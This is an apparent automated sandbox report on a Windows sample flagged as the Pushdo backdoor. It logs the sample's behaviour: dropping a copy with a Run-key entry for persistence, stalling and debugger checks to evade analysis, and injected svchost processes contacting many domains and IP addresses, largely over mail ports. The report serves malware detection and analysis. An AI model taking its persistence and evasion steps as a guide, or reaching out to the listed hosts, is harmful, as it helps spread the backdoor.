Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@19/4@1964/100

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_000F15C0 CoCreateInstance,

0_2_000F15C0

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_04001CA0 CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,Process32Next,Process32First,lstrlenA,lstrcpyA,OpenProcess,EnumProcessModules,K32EnumProcessModules,GetModuleFileNameExA,GetProcessImageFileNameA,K32GetProcessImageFileNameA,FindCloseChangeNotification,Process32Next,CloseHandle,

0_2_04001CA0

Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\zczoiir65502
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Mutant created: \Sessions\1\BaseNamedObjects\pigalicapi
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\rjsfitz60229
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\pvoaiwz6588

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_000F21A0 lstrlenW,_malloc,WideCharToMultiByte,LoadLibraryExA,FindResourceA,LoadResource,SizeofResource,FreeLibrary,

0_2_000F21A0

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Command line argument: RICHED20.DLL		0_2_000FA0B0
Source: C:\Users\user\pigalicapi.exe	Command line argument: RICHED20.DLL		1_2_0080A0B0

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: fs7AQcREFX.exe

Static PE information: More than 8191 > 100 exports found

Source: fs7AQcREFX.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: fs7AQcREFX.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: fs7AQcREFX.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: fs7AQcREFX.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: fs7AQcREFX.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: fs7AQcREFX.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_00108FA5 push ecx; ret	0_2_00108FB8
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252D643 pushfd ; retf	0_2_0252D648
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_00818FA5 push ecx; ret	1_2_00818FB8

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_0010CC0C LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0010CC0C

Persistence and Installation Behavior

Yara detected Backdoor Pushdo

Source: Yara match	File source: 1.2.pigalicapi.exe.f523c7.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.252053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.25223c7.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.25223c7.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.9423c7.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.984088.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.9423c7.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.f5053f.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.94053f.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.f5053f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.94053f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.4000000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.2b54088.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.f523c7.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.4000000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.2554088.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.984088.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.2554088.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.252053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.4000000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.2b54088.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.719025818.0000000002B54000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.714243220.0000000000940000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.720083201.0000000002554000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.714052838.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.714796966.0000000000984000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\pigalicapi.exe	Stalling execution: Execution stalls by calling Sleep
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Stalling execution: Execution stalls by calling Sleep			graph_0-19145

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	0_2_04003B00
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,VirtualFree,Sleep,ExitProcess,	0_2_025252C7
Source: C:\Users\user\pigalicapi.exe	Code function: EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	1_2_04003B00

Source: C:\Users\user\Desktop\fs7AQcREFX.exe TID: 6952	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe TID: 6976	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe TID: 6996	Thread sleep time: -43200000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 6096	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 6072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 6844	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 6112	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 5736	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 6004	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 2080	Thread sleep count: 240 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 5420	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3776	Thread sleep count: 155 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 5196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3084	Thread sleep count: 670 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 968	Thread sleep count: 666 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 5224	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 1976	Thread sleep count: 830 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 1708	Thread sleep count: 861 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6576	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 5684	Thread sleep count: 303 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 5628	Thread sleep count: 315 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 2064	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 23132	Thread sleep count: 71 > 30

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_0-19545
Source: C:\Users\user\pigalicapi.exe	Evasive API call chain: GetLocalTime,DecisionNodes

Source: C:\Users\user\pigalicapi.exe	Last function: Thread delayed
Source: C:\Users\user\pigalicapi.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

0_2_04001CA0

Source: C:\Users\user\pigalicapi.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_0-20098

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 670
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 666
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 830
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 861

Source: C:\Users\user\pigalicapi.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-19247

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_0-19526

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: GetAdaptersInfo,		0_2_04009F70
Source: C:\Users\user\pigalicapi.exe	Code function: GetAdaptersInfo,		1_2_04009F70

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_00105EB0 VirtualQuery,GetSystemInfo,GetModuleHandleW,GetProcAddress,VirtualAlloc,VirtualProtect,

0_2_00105EB0

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	API call chain: ExitProcess graph end node			graph_0-19113
Source: C:\Users\user\pigalicapi.exe	API call chain: ExitProcess graph end node

Source: fs7AQcREFX.exe, 00000000.00000003.627176737.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.393636263.00000000061B2000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.630089947.00000000061B9000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.391362964.00000000061B6000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.389856090.00000000061B9000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000002.731356544.0000000006187000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.626513177.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.504000964.0000000006187000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.393585434.00000000061A5000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.391362964.0000000006187000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: fs7AQcREFX.exe, 00000000.00000003.385517918.000000000292F000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000000.369637248.0000000000120000.00000002.00000001.01000000.00000003.sdmp, fs7AQcREFX.exe, 00000000.00000003.388234368.0000000000A7A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: yhemIyHGFSpWrLkbdYHtip

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_00107840 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00107840

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_00105EB0 VirtualProtect ?,-00000001,00000104,?

0_2_00105EB0

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

0_2_04001CA0

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

0_2_0010CC0C

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_001054F5 GetProcessHeap,HeapFree,

0_2_001054F5

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_00104660 mov ecx, dword ptr fs:[00000030h]	0_2_00104660
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04003090 mov eax, dword ptr fs:[00000030h]	0_2_04003090
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252F357 mov eax, dword ptr fs:[00000030h]	0_2_0252F357
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_02524857 mov eax, dword ptr fs:[00000030h]	0_2_02524857
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_02520467 mov eax, dword ptr fs:[00000030h]	0_2_02520467
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252096F mov eax, dword ptr fs:[00000030h]	0_2_0252096F
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_02551030 mov eax, dword ptr fs:[00000030h]	0_2_02551030
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_00814660 mov ecx, dword ptr fs:[00000030h]	1_2_00814660
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04003090 mov eax, dword ptr fs:[00000030h]	1_2_04003090
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_02B51030 mov eax, dword ptr fs:[00000030h]	1_2_02B51030

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_00104820 LdrInitializeThunk,

0_2_00104820

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_00107840 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00107840
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_001059E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_001059E6
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_00109CD1 SetUnhandledExceptionFilter,	0_2_00109CD1
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04003B00 EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	0_2_04003B00
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_025252C7 GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,VirtualFree,Sleep,ExitProcess,	0_2_025252C7
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_00817840 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00817840
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_008159E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_008159E6
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_00819CD1 SetUnhandledExceptionFilter,	1_2_00819CD1
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04003B00 EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	1_2_04003B00

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webways.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: impexnc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: enguita.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dataform.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.26.7.17 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kallman.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.69.139.150 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nt-hat.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 76.74.184.61 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gphpedit.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.20.55.214 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: avse.hu
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.130.204.160 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 5.189.171.125 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 194.143.194.23 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.229.22.126 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: notis.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 5.39.75.157 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: willsub.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nts-web.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shesfit.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.vexcom.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: multip.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tcpoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.194.202.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.194.202.26 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dog-jog.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kamptal.at
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.19.254.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bd-style.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 216.177.137.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 93.189.66.202 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: zupraha.cz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: muhr-soehne.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.30.60.158 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: oaith.ca
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.99.226.184 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.180.178 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aiolos-sa.gr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: usadig.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.230.63.171 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.253.212.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gmail-smtp-in.l.google.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fdlymca.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: assideum.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bidroll.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 62.122.170.171 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: karmy.com.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ncn.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 51.159.3.117 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: komie.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 79.124.76.247 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: onzcda.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sledsport.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tbvlugus.nl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pellys.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.cokocoko.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 34.102.136.180 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.71.57.184 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tozzhin.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 195.96.252.188 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: lyto.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: websy.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 106west.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ruzee.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.185.159.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.185.159.144 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.159.66.62 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxs.mail.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: averwin.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 211.13.196.162 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: chzko.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 76.223.35.103 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 92.204.129.113 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: themark.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ossir.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: clysma.com
